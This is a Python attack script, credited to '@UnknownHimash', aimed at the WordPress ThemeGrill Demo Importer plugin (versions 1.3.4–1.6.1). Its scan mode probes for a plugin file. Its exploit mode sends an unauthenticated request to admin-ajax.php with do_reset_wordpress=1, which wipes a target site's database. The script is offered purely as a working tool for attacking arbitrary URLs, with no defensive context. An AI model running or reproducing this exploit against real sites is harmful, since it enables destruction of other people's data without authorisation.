# Scan and Exploit
# @UnknownHimash
# WordPres ThemeGrill Demo Importer 1.3.4 - 1.6.1
# Auth_Bypass

import requests
import time
import json
import argparse

print('                                   ')
print("""         |||||||  |     |  |||||||| |    |
         |     |  |     |     ||    |    |
         |||||||  |     |     ||    ||||||
         |     |  |     |     ||    |    | 
         |     |  |||||||     ||    |    | 

         __________________________________
         Bypass WordPress ThemeGrill Plugin
         ----------------------------------
         @UnknownHimash

         Type -h for the help
         Example AuthBypass.py -s http://site.com
                 AuhtBypass.py -e http://site.com
                 AuthBypass.py -s http://1.2.3.4
                 AuhtBypass.py -e http://1.2.3.4
         """)
def main(arguments):

    if arguments.e:
        exploit(arguments.e)

    if arguments.s:
        scan(arguments.s)

def scan(arg):
    try:
        headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Connection": "keep-alive",
               "Content-Type": "application/x-www-form-urlencoded",
               "Connection": "keep-alive"
               }

        url = arg + "/wp-content/plugins/themegrill-demo-importer/includes/class-demo-importer.php"
        print (" Scanning the Target.......! \n")
        scan_response = requests.get(url)

        if scan_response.status_code == 200:
            print(" Target is Vulnerable ...!")

        else:
            print(" Target is not Vulnerable\n")

    except:
        print(" Unable to Scan the Target ")
        
              
              
def exploit(arg):
    try:
        
        data = {"action":"heartbeat"}
        headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Connection": "keep-alive",
               "Content-Type": "application/x-www-form-urlencoded",
               "Connection": "keep-alive"
               }
        url = arg + "/wp-admin/admin-ajax.php?do_reset_wordpress=1"
        print ("   Exploiting the Target .........  ")
        response = requests.post(url, data, headers=headers)

        if response.status_code == 200:
            print("   Target Exploited .....!\n")

        else:
            print(" Target is not Exploitable .... !\n")

    except:
        print(" Unable to Exploit the Target  ...")
        
if __name__ == "__main__":
    try:
        description = 'ThemeGrill Wordpress Plugin Vulnerability Scan & Exploit'
        parser = argparse.ArgumentParser(description=description)
        parser.add_argument("-s",type=str, help= " To Scan the Target Type -s ")
        parser.add_argument("-e",type=str, help= "To Exploit the Target Type -e")
        arguments = parser.parse_args()
        main(arguments)

    except(KeyboardInterrupt) as e:
        sys.exit(0)
